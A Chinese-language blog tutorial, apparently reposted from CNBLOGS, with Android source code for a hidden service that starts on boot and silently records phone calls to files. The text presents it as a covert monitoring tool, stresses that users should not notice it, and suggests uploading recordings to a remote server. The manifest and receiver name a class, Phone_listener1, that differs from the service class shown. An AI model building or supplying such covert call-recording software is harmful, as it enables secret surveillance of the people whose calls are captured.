2012090117294720

 使用Android做一些小工具監聽短信和電話是十分有趣的,上篇寫了關於如何監聽短信,今天要實現的是通過Android監聽電話,即可以獲取通話語音然後將語音進行處理,返回给監聽者。

  要實現電話監聽器需要用到Android中的服務Service,服務和我們在Windows中的理解是一样的,即保持後台運行,沒有用戶界面。它運行於系統中不容易被用戶發覺,可以使用它開發如監控之類的程序。

  Android中的服務不能自己運行,需要通過調用Contex.startService()或Context.bindService()方法启動服務。這兩個方法都可以启動service,但是它們的使用場合有所不同。使用startService()方法启動服務,訪問者與服務之間沒有關聯,即使訪問者退出了,服務仍然運行。使用bindService()方法启動服務,訪問者與服務绑定在了一起,訪問者一旦退出,服務也就終止。

  采用Context.startService()方法启動服務,只能調用Context.stopService()方法結束服務,服務結束時會調用onDestroy()方法。

  在Android開發中使用服務分为兩步:

    1. 繼承Service類:

      public class defservice extends Service {}

    2. 在AndroidManifest.xml文件中的<application>節點中對服務進行配置:

      <service android:name=".defservice" />

  

  下面我們就通過實例來看一下電話監聽者的實現:

    1. 創建一個用於監聽電話狀態並通過各種狀態進行處理的service

  1 package com.fanchangfa.phonelistener;
  2 
  3 import java.io.File;
  4 import java.io.IOException;
  5 
  6 import android.app.Service;
  7 import android.content.Context;
  8 import android.content.Intent;
  9 import android.media.MediaRecorder;
 10 import android.os.Environment;
 11 import android.os.IBinder;
 12 import android.telephony.PhoneStateListener;
 13 import android.telephony.TelephonyManager;
 14 
 15 /**
 16  * @author fanchangfa
 17  *    Android電話監聽器
 18  */
 19 public class Phone_listener extends Service {
 20 
 21     @Override
 22     public IBinder onBind(Intent arg0) {
 23         // TODO Auto-generated method stub
 24         return null;
 25     }
 26 
 27     @Override
 28     public void onCreate() {
 29         // TODO Auto-generated method stub
 30         super.onCreate();
 31         
 32         //取得電話管理服務
 33         TelephonyManager tele =(TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);
 34         
 35         //對呼叫狀態進行監聽
 36         tele.listen(new phone_state_listener(), PhoneStateListener.LISTEN_CALL_STATE);
 37     }
 38     
 39     private final static class phone_state_listener extends PhoneStateListener{
 40 
 41         /*電話狀態有三種
 42          * 1. 來電
 43          * 2. 接通(通話中)
 44          * 3. 掛斷
 45          * */
 46         
 47         /* (non-Javadoc)
 48          * @see android.telephony.PhoneStateListener#onCallStateChanged(int, java.lang.String)
 49          * 狀態改變時執行
 50          */
 51         
 52         private String number;    //記錄來電號碼
 53         private MediaRecorder media;    //錄音對象
 54         
 55         private File recorder_file;
 56         
 57         @Override
 58         public void onCallStateChanged(int state, String incomingNumber) {
 59             super.onCallStateChanged(state, incomingNumber);
 60             
 61             switch(state){
 62             case TelephonyManager.CALL_STATE_RINGING:
 63                 //來電狀態
 64                 this.number = incomingNumber;
 65                 break;
 66                 
 67             case TelephonyManager.CALL_STATE_OFFHOOK:
 68                 //接通狀態
 69                 
 70                 /*
 71                  * 注意順序:先實例化存儲文件的目錄及格式,再對各項参數進行設置
 72                  * */
 73                 //實例化輸出目錄及文件名
 74                 recorder_file = new File(Environment.getExternalStorageDirectory() , 
 75                         number + System.currentTimeMillis() + ".3gp");
 76                 
 77                 media = new MediaRecorder();    //實例化MediaRecorder對象
 78                 
 79                 //設置錄音來源:MIC
 80                 media.setAudioSource(MediaRecorder.AudioSource.MIC);
 81                 
 82                 //設置錄音格式为3gp格式
 83                 media.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
 84                 
 85                 //設置MediaRecorder的編碼格式
 86                 media.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
 87                 
 88                 //設置輸出目錄
 89                 media.setOutputFile(recorder_file.getAbsolutePath());
 90                 
 91                 try {
 92                     media.prepare();
 93                 } catch (IOException e) {
 94                     // TODO Auto-generated catch block
 95                     e.printStackTrace();
 96                 }
 97                 
 98                 media.start();
 99                 
100                 break;
101                 
102             case TelephonyManager.CALL_STATE_IDLE:
103                 //掛斷電話
104                 if(media != null){    //停止錄音
105                     media.stop();
106                     media.release();
107                     media = null;
108                 }
109                 break;
110             }
111         }
112         
113     }
114 
115 }

 

  2. 在AndroidManifest.xml文件中添加服務以及權限:

 1 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
 2     package="com.fanchangfa.phonelistener"
 3     android:versionCode="1"
 4     android:versionName="1.0">
 5 
 6     <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="15" />
 7 
 8     <application android:label="@string/app_name"
 9         android:icon="@drawable/ic_launcher"
10         android:theme="@style/AppTheme">
11         
12         <service android:name=".Phone_listener1"/>
13         
14         <!-- 廣播接受者:開启启動電話監聽器 -->
15         <receiver android:name=".BootPhoneListener">
16             <intent-filter >
17                 <action android:name="android.intent.action.BOOT_COMPLETED"/>
18             </intent-filter>
19         </receiver>
20         
21     </application>
22     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
23      <!-- 在SDCard中創建與刪除文件權限 -->
24     <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
25     <!-- 往SDCard寫入數據權限 -->
26     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
27     <uses-permission android:name="android.permission.RECORD_AUDIO"/>   
28 </manifest>

  注意,以上權限一個不能少,必須全部加上。

  

  3. 我們注意到在上面AndroidManifest.xml文件中有一個.BootPhoneListener的廣播接受者,這是因为我們上面說的服務不能自己運行,必須要有東西來激活它,在這裏我們添加一個開機的廣播接收者,即每當開機時都會起動此服務:

  

 1 package com.fanchangfa.phonelistener;
 2 
 3 import android.content.BroadcastReceiver;
 4 import android.content.Context;
 5 import android.content.Intent;
 6 
 7 /**
 8  * @author fanchangfa
 9  *    廣播接受者-開機時启動電話監聽器
10  */
11 public class BootPhoneListener extends BroadcastReceiver {
12 
13     @Override
14     public void onReceive(Context context, Intent intent) {
15         // TODO Auto-generated method stub
16         Intent phone_listener = new Intent(context , Phone_listener1.class);
17         context.startService(phone_listener);
18     }
19 
20 }

 

 

  

  4.基本到此就大功告成了,不過在電話結束後沒有對錄音進行處理,只是保存在手機上,如果真正應用到監聽器上,我們的錄音是不能保存到SDCard上的,因为這样極容易被用戶發現,通過FTP上傳由於有時候用戶通話可能超過一小時,所以文件比較大,最好的辦法是通過Socket上傳到服務器端。有興趣的可以繼續深入。下面我們進行測試,看一下效果,呵呵~

  現在有兩個模擬器,一個5554,一個5556,我們把應用部署到5554上,然後再重启5554,此時服務才會启動:

  2012090117294720  

  5556call5554界面

  

  2012090117303876  

  文件系統界面

 

  把選中的3gp文件導出,用播放器播放一下試試~~

  

 

 

 


From:CNBLOGS        
 
arrow
arrow
    全站熱搜

    戮克 發表在 痞客邦 留言(0) 人氣()